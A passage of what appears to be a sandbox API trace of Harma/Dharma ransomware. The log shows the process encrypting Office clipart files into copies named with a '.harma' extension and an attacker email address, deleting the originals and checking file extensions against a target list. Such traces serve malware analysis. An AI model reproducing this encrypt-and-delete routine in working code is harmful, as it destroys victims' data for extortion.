dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.702] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=20212) returned 1 [0170.702] CloseHandle (hObject=0x3a4) returned 1 [0170.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20 [0170.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.706] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.706] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0170.707] GetLastError () returned 0x0 [0170.707] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4ef4, lpOverlapped=0x0) returned 1 [0171.015] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4f00, lpOverlapped=0x0) returned 1 [0171.016] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.016] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.016] SetEndOfFile (hFile=0x218) returned 1 [0171.016] CloseHandle (hObject=0x218) returned 1 [0171.017] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.017] SetEndOfFile (hFile=0x3a4) returned 1 [0171.019] CloseHandle (hObject=0x3a4) returned 1 [0171.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0171.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.021] lstrlenW (lpString=".doc") returned 4 [0171.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.021] lstrlenW (lpString=".docx") returned 5 [0171.021] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.021] lstrlenW (lpString=".pdf") returned 4 [0171.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.021] lstrlenW (lpString=".xls") returned 4 [0171.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.021] lstrlenW (lpString=".xlsx") returned 5 [0171.021] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.021] lstrlenW (lpString=".ppt") returned 4 [0171.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.021] lstrlenW (lpString=".zip") returned 4 [0171.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.021] lstrlenW (lpString=".rar") returned 4 [0171.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.021] lstrlenW (lpString=".bz2") returned 4 [0171.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.021] lstrlenW (lpString=".7z") returned 3 [0171.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.021] lstrlenW (lpString=".dbf") returned 4 [0171.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.021] lstrlenW (lpString=".1cd") returned 4 [0171.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.022] lstrlenW (lpString=".jpg") returned 4 [0171.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.022] lstrlenW (lpString=".doc") returned 4 [0171.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.022] lstrlenW (lpString=".docx") returned 5 [0171.022] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.022] lstrlenW (lpString=".pdf") returned 4 [0171.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.022] lstrlenW (lpString=".xls") returned 4 [0171.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.022] lstrlenW (lpString=".xlsx") returned 5 [0171.022] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.022] lstrlenW (lpString=".ppt") returned 4 [0171.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.022] lstrlenW (lpString=".zip") returned 4 [0171.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.022] lstrlenW (lpString=".rar") returned 4 [0171.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.022] lstrlenW (lpString=".bz2") returned 4 [0171.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.022] lstrlenW (lpString=".7z") returned 3 [0171.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.022] lstrlenW (lpString=".dbf") returned 4 [0171.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.023] lstrlenW (lpString=".1cd") returned 4 [0171.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0171.023] lstrlenW (lpString=".jpg") returned 4 [0171.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.023] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.023] lstrlenW (lpString="J0107282.WMF") returned 12 [0171.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0171.024] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=14132) returned 1 [0171.024] CloseHandle (hObject=0x3a4) returned 1 [0171.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20 [0171.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0171.025] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.025] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0171.173] GetLastError () returned 0x0 [0171.173] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3734, lpOverlapped=0x0) returned 1 [0171.299] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3740, lpOverlapped=0x0) returned 1 [0171.300] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.300] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.300] SetEndOfFile (hFile=0x218) returned 1 [0171.459] CloseHandle (hObject=0x218) returned 1 [0171.459] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.459] SetEndOfFile (hFile=0x3a4) returned 1 [0171.461] CloseHandle (hObject=0x3a4) returned 1 [0171.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0171.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.475] lstrlenW (lpString=".doc") returned 4 [0171.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.475] lstrlenW (lpString=".docx") returned 5 [0171.475] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.475] lstrlenW (lpString=".pdf") returned 4 [0171.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.475] lstrlenW (lpString=".xls") returned 4 [0171.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.475] lstrlenW (lpString=".xlsx") returned 5 [0171.475] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.475] lstrlenW (lpString=".ppt") returned 4 [0171.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.475] lstrlenW (lpString=".zip") returned 4 [0171.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.475] lstrlenW (lpString=".rar") returned 4 [0171.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.475] lstrlenW (lpString=".bz2") returned 4 [0171.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.475] lstrlenW (lpString=".7z") returned 3 [0171.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.475] lstrlenW (lpString=".dbf") returned 4 [0171.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.475] lstrlenW (lpString=".1cd") returned 4 [0171.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.476] lstrlenW (lpString=".jpg") returned 4 [0171.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.476] lstrlenW (lpString=".doc") returned 4 [0171.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.476] lstrlenW (lpString=".docx") returned 5 [0171.476] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.476] lstrlenW (lpString=".pdf") returned 4 [0171.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.476] lstrlenW (lpString=".xls") returned 4 [0171.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.476] lstrlenW (lpString=".xlsx") returned 5 [0171.476] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.476] lstrlenW (lpString=".ppt") returned 4 [0171.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.476] lstrlenW (lpString=".zip") returned 4 [0171.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.476] lstrlenW (lpString=".rar") returned 4 [0171.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.476] lstrlenW (lpString=".bz2") returned 4 [0171.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.476] lstrlenW (lpString=".7z") returned 3 [0171.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.477] lstrlenW (lpString=".dbf") returned 4 [0171.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.477] lstrlenW (lpString=".1cd") returned 4 [0171.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0171.477] lstrlenW (lpString=".jpg") returned 4 [0171.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.477] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.477] lstrlenW (lpString="J0107328.WMF") returned 12 [0171.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.479] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=6532) returned 1 [0171.479] CloseHandle (hObject=0x348) returned 1 [0171.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20 [0171.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.567] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.567] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.575] GetLastError () returned 0x0 [0171.576] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1984, lpOverlapped=0x0) returned 1 [0171.592] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1990, lpOverlapped=0x0) returned 1 [0171.593] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.593] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.593] SetEndOfFile (hFile=0x374) returned 1 [0171.593] CloseHandle (hObject=0x374) returned 1 [0171.593] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.593] SetEndOfFile (hFile=0x33c) returned 1 [0171.595] CloseHandle (hObject=0x33c) returned 1 [0171.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0171.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.596] lstrlenW (lpString=".doc") returned 4 [0171.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.597] lstrlenW (lpString=".docx") returned 5 [0171.597] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.597] lstrlenW (lpString=".pdf") returned 4 [0171.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.597] lstrlenW (lpString=".xls") returned 4 [0171.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.597] lstrlenW (lpString=".xlsx") returned 5 [0171.597] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.597] lstrlenW (lpString=".ppt") returned 4 [0171.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.597] lstrlenW (lpString=".zip") returned 4 [0171.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.597] lstrlenW (lpString=".rar") returned 4 [0171.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.597] lstrlenW (lpString=".bz2") returned 4 [0171.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.597] lstrlenW (lpString=".7z") returned 3 [0171.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.597] lstrlenW (lpString=".dbf") returned 4 [0171.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.597] lstrlenW (lpString=".1cd") returned 4 [0171.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.597] lstrlenW (lpString=".jpg") returned 4 [0171.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.598] lstrlenW (lpString=".doc") returned 4 [0171.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.598] lstrlenW (lpString=".docx") returned 5 [0171.598] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.598] lstrlenW (lpString=".pdf") returned 4 [0171.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.598] lstrlenW (lpString=".xls") returned 4 [0171.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.598] lstrlenW (lpString=".xlsx") returned 5 [0171.598] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.598] lstrlenW (lpString=".ppt") returned 4 [0171.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.598] lstrlenW (lpString=".zip") returned 4 [0171.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.598] lstrlenW (lpString=".rar") returned 4 [0171.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.598] lstrlenW (lpString=".bz2") returned 4 [0171.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.598] lstrlenW (lpString=".7z") returned 3 [0171.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.598] lstrlenW (lpString=".dbf") returned 4 [0171.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.598] lstrlenW (lpString=".1cd") returned 4 [0171.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0171.599] lstrlenW (lpString=".jpg") returned 4 [0171.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.599] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.599] lstrlenW (lpString="J0107350.WMF") returned 12 [0171.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.606] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=23672) returned 1 [0171.607] CloseHandle (hObject=0x374) returned 1 [0171.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0171.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.648] CreateFileW (lpFileName="C:\\Program 